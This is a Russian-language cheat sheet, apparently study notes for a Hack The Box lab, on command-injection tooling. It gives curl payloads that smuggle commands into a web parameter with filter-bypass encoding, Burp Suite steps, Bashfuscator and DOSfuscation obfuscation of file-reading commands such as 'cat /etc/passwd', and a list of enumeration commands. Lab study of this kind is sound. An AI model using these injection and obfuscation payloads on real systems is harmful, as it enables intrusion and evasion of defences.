

1. Инструменты для Command Injections

1.1 Curl

1.1.1 Отправка POST запроса

```
curl -X POST http://<IP>:<PORT> -d "ip=127.0.0.1; whoami"
```

1.1.2 Отправка с экранированием (одинарные кавычки)

```
curl -X POST http://<IP>:<PORT> -d 'ip=127.0.0.1%0a{ls,-la}'
```

1.1.3 URL-кодирование в curl

```
curl -X POST http://<IP>:<PORT> -d "ip=127.0.0.1%0ac%27a%27t%09/flag.txt"
```

1.1.4 GET запрос с параметрами

```
curl "http://<IP>:<PORT>/index.php?from=%0ac%27a%27t%09${PATH:0:1}flag.txt"
```

Важно: В curl переменные \$ могут интерпретироваться локально. Используйте ' (одинарные кавычки) чтобы избежать этого.

1.2 Burp Suite

1.2.1 Настройка прокси

1. Firefox → Settings → Network Settings
2. Manual Proxy: 127.0.0.1:8080
3. Burp → Proxy → Intercept → On

1.2.2 Работа с GET параметрами

1. Перехватить запрос
2. Вкладка Params
3. Найти нужный параметр
4. Изменить значение
5. URL-кодирование: Ctrl+U

1.2.3 Repeater (Отправка в Repeater)

1. Ctrl+R для отправки в Repeater
2. Изменение параметров
3. Send для отправки

1.2.4 Intruder (для автоматизации)

1. Отправить запрос в Intruder
2. Выбрать позиции для атаки
3. Выбрать payloads
4. Запустить атаку

Совет: Если параметр не виден в теле запроса — ищите во вкладке Params (GET параметры).

1.3 Bashfuscator (Linux)

1.3.1 Установка

```
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user
```

1.3.2 Использование

```
cd ./bashfuscator/bin/
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
```

1.3.3 Пример результата

```
eval "$(W0=(w \ t e c p s a \ / d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf
%s "${W0[$Ll]}";};)"
```

1.3.4 Проверка

```
bash -c 'eval "$(W0=(w \ t e c p s a \ / d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;
{ printf %s "${W0[$Ll]}";};)"'
```

Параметры:

- -s 1 — уровень обфускации (1 = простой)
- -t 1 — количество слоев
- --no-mangling — без дополнительного манипулирования
- --layers 1 — один слой обфускации

1.4 DOSfuscation (Windows)

1.4.1 Установка

```
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
```

1.4.2 Использование

```
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1
```

1.4.3 Пример результата

```
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-
stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.
%TMP:~-13,-12%xt
```

1.4.4 Проверка

```
C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-
stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.
%TMP:~-13,-12%xt
test_flag
```

Интерактивный режим: Вводите команды и выбирайте опции из меню. `help` — показать все доступные команды. `tutorial` — показать пример использования.

1.5 Полезные команды

1.5.1 Linux

Команда	Назначение
<code>printenv</code>	Показать все переменные окружения
<code>echo \${PATH:0:1}</code>	Показать /
<code>echo \${LS_COLORS:10:1}</code>	Показать ;
<code>whoami</code>	Текущий пользователь
<code>id</code>	ID пользователя
<code>ls -la</code>	Список файлов
<code>cat</code>	Чтение файла
<code>find / -name flag.txt 2>/dev/null</code>	Поиск флага

1.5.2 Windows (CMD)

Команда	Назначение
<code>set</code>	Показать все переменные
<code>%HOMEPATH:~6,-11%</code>	Показать \
<code>whoami</code>	Текущий пользователь
<code>type</code>	Чтение файла

1.5.3 Windows (PowerShell)

Команда	Назначение
<code>Get-ChildItem Env:</code>	Показать все переменные
<code>\$env:HOMEPATH[0]</code>	Показать \
<code>whoami</code>	Текущий пользователь

1.6 Онлайн инструменты

Инструмент	Назначение
CyberChef	Кодирование/декодирование (Base64, Hex, URL)
PayloadsAllTheThings	Сборник payload'ов
RevShells	Генерация reverse shell
Base64 Encode/Decode	Кодирование/декодирование Base64